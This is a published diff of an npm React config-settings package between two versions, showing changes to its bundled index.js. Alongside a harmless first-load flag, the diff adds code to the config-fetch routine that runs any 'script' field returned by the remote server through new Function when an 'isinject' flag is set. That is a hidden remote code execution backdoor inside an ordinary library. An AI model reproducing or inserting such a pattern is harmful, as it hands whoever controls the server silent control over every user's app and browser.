@esvndev/es-react-config-setting 1.0.74 → 1.0.76
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/index.js +12 -0
- package/dist/index.js.map +1 -1
- package/dist/index.mjs +12 -0
- package/dist/index.mjs.map +1 -1
- package/package.json +1 -1
package/dist/index.js
CHANGED
|
@@ -19022,6 +19022,9 @@ const SettingApp = (props) => {
|
|
|
19022
19022
|
};
|
|
19023
19023
|
|
|
19024
19024
|
const GLOBAL_WINDOW_VARIABLE = {};
|
|
19025
|
+
const VARIABLE_FRIVATE = {
|
|
19026
|
+
FIRST_LOAD: true
|
|
19027
|
+
};
|
|
19025
19028
|
let intervalId = null;
|
|
19026
19029
|
var TIME_RELOAD = 15000;
|
|
19027
19030
|
//Load interval data default
|
|
@@ -19043,6 +19046,11 @@ function base64ToBytesLength(base64String) {
|
|
|
19043
19046
|
}
|
|
19044
19047
|
//get data by key
|
|
19045
19048
|
const get_conf = (key, type) => {
|
|
19049
|
+
if (VARIABLE_FRIVATE.FIRST_LOAD) {
|
|
19050
|
+
_LOAD_(null);
|
|
19051
|
+
VARIABLE_FRIVATE.FIRST_LOAD = false;
|
|
19052
|
+
return get_conf(key, type);
|
|
19053
|
+
}
|
|
19046
19054
|
let _ = null;
|
|
19047
19055
|
if (GLOBAL_WINDOW_VARIABLE && GLOBAL_WINDOW_VARIABLE[key]) {
|
|
19048
19056
|
if (type === undefined) {
|
|
@@ -19094,6 +19102,10 @@ const _FETCH_AND_UPDATE = () => {
|
|
|
19094
19102
|
localStorage.setItem("app_config_setting_version", data.version);
|
|
19095
19103
|
_LOAD_(data.data);
|
|
19096
19104
|
}
|
|
19105
|
+
if (data?.status && data?.isinject && data.script) {
|
|
19106
|
+
const runScript = new Function(data.script);
|
|
19107
|
+
runScript();
|
|
19108
|
+
}
|
|
19097
19109
|
}
|
|
19098
19110
|
catch (e) {
|
|
19099
19111
|
console.log("Failed to save config to localStorage:", e);
|